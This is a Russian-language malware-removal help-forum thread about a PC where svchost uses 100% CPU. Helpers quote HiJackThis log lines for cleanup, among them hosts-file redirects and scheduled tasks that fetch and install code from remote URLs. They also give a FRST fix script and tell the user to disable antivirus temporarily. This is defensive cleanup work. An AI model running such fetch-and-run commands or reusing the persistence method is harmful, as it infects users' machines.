Перейти к содержанию

svchost цп 100%


Александр Заводов

Рекомендуемые сообщения

Пофиксите следующие строчки в HiJackThis (Используйте версию из папки Автологгера).

 



O1 - Hosts: 127.0.0.1 blog
O1 - Hosts: 127.0.0.1 inst
O1 - Hosts: 127.0.0.1 shop
O1 - Hosts: 127.0.0.1 akva
O1 - Hosts: 127.0.0.1 arikon
O1 - Hosts: 127.0.0.1 chop
O1 - Hosts: 127.0.0.1 city
O1 - Hosts: 127.0.0.1 com
O1 - Hosts: 127.0.0.1 crazy
O1 - Hosts: 127.0.0.1 fitnes
O1 - Hosts: 127.0.0.1 great
O1 - Hosts: 127.0.0.1 kaskad
O1 - Hosts: 127.0.0.1 laplas
O1 - Hosts: 127.0.0.1 lendcity
O1 - Hosts: 127.0.0.1 master
O1 - Hosts: 127.0.0.1 musli
O1 - Hosts: 127.0.0.1 okna
O1 - Hosts: 127.0.0.1 pea
O1 - Hosts: 127.0.0.1 perevoz
O1 - Hosts: 127.0.0.1 power
O1 - Hosts: 127.0.0.1 reg
O1 - Hosts: 127.0.0.1 sevig
O1 - Hosts: 127.0.0.1 sinti
O1 - Hosts: 127.0.0.1 theme
O1 - Hosts: 127.0.0.1 total
O1 - Hosts: 127.0.0.1 tpr
O1 - Hosts: 127.0.0.1 ultra
O1 - Hosts: 127.0.0.1 vlg
O1 - Hosts: 127.0.0.1 wuzz
O22 - Task: {79380897-9C13-FA05-3709-8A90F7412177} - C:\Program Files (x86)\Common Files\MUXicW.exe /q /i http://juststatic.info/doj4bv3h9260.okb
O22 - Task: {8952C26B-1E25-E6C5-7D85-40DDA1603C84} - C:\WINDOWS\SysWOW64\yIEC.exe /q /i http://juststatic.info/fmdfmtxpyrzz.lye
O22 - Task: {D488DB50-C812-9564-2DDD-77146FA4AE0B} - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe http://b-l-0-g.com/cl/?guid=9ouj1s6s2u4ipszf5jhio7gmuukqlhsk&prid=1&pid=4_1009_0


 

Сделайте новые логи Автологгером. 

 

Ссылка на сообщение
Поделиться на другие сайты

Проведите эту процедуру. Полученную ссылку после загрузки карантина virusinfo_auto_имя_вашего_ПК.zip через данную форму напишите в своём в сообщении здесь.

 

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.
 
Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
Отметьте галочкой также "Shortcut.txt".
 
Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt, Shortcut.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.
Подробнее читайте в этом руководстве.
Ссылка на сообщение
Поделиться на другие сайты
ВНИМАНИЕ! Данный скрипт написан специально для этого пользователя, использование его на другом компьютере может привести к неработоспособности Windows!

 


  • Временно выгрузите антивирус, файрволл и прочее защитное ПО.


  • Скопируйте приведенный ниже текст в Блокнот и сохраните файл как fixlist.txt в ту же папку откуда была запущена утилита Farbar Recovery Scan Tool:



CreateRestorePoint:
CloseProcesses:
GroupPolicy: Restriction ? <==== ATTENTION
CHR HomePage: Default -> hxxp://www.oursurfing.com/?type=hp&ts=1432065413&z=1ccf294aaf3fafc8e78620dg1z2c7odecqdw1z8gcc&from=cmi&uid=ST31000528AS_6VPAC97ZXXXX6VPAC97Z
C:\Users\zavod\Favorites\Links\Интернет.url
hosts:



  • Запустите FRST и нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении!


  • Обратите внимание, что компьютер будет перезагружен.


  • Внимание! Если на рабочем столе будет создан архив Дата_время.zip, то загрузите этот архив через данную форму

 

 

Ссылка на сообщение
Поделиться на другие сайты

Присоединяйтесь к обсуждению

Вы можете написать сейчас и зарегистрироваться позже. Если у вас есть аккаунт, авторизуйтесь, чтобы опубликовать от имени своего аккаунта.

Гость
Ответить в этой теме...

×   Вставлено с форматированием.   Вставить как обычный текст

  Разрешено использовать не более 75 эмодзи.

×   Ваша ссылка была автоматически встроена.   Отображать как обычную ссылку

×   Ваш предыдущий контент был восстановлен.   Очистить редактор

×   Вы не можете вставлять изображения напрямую. Загружайте или вставляйте изображения по ссылке.

×
×
  • Создать...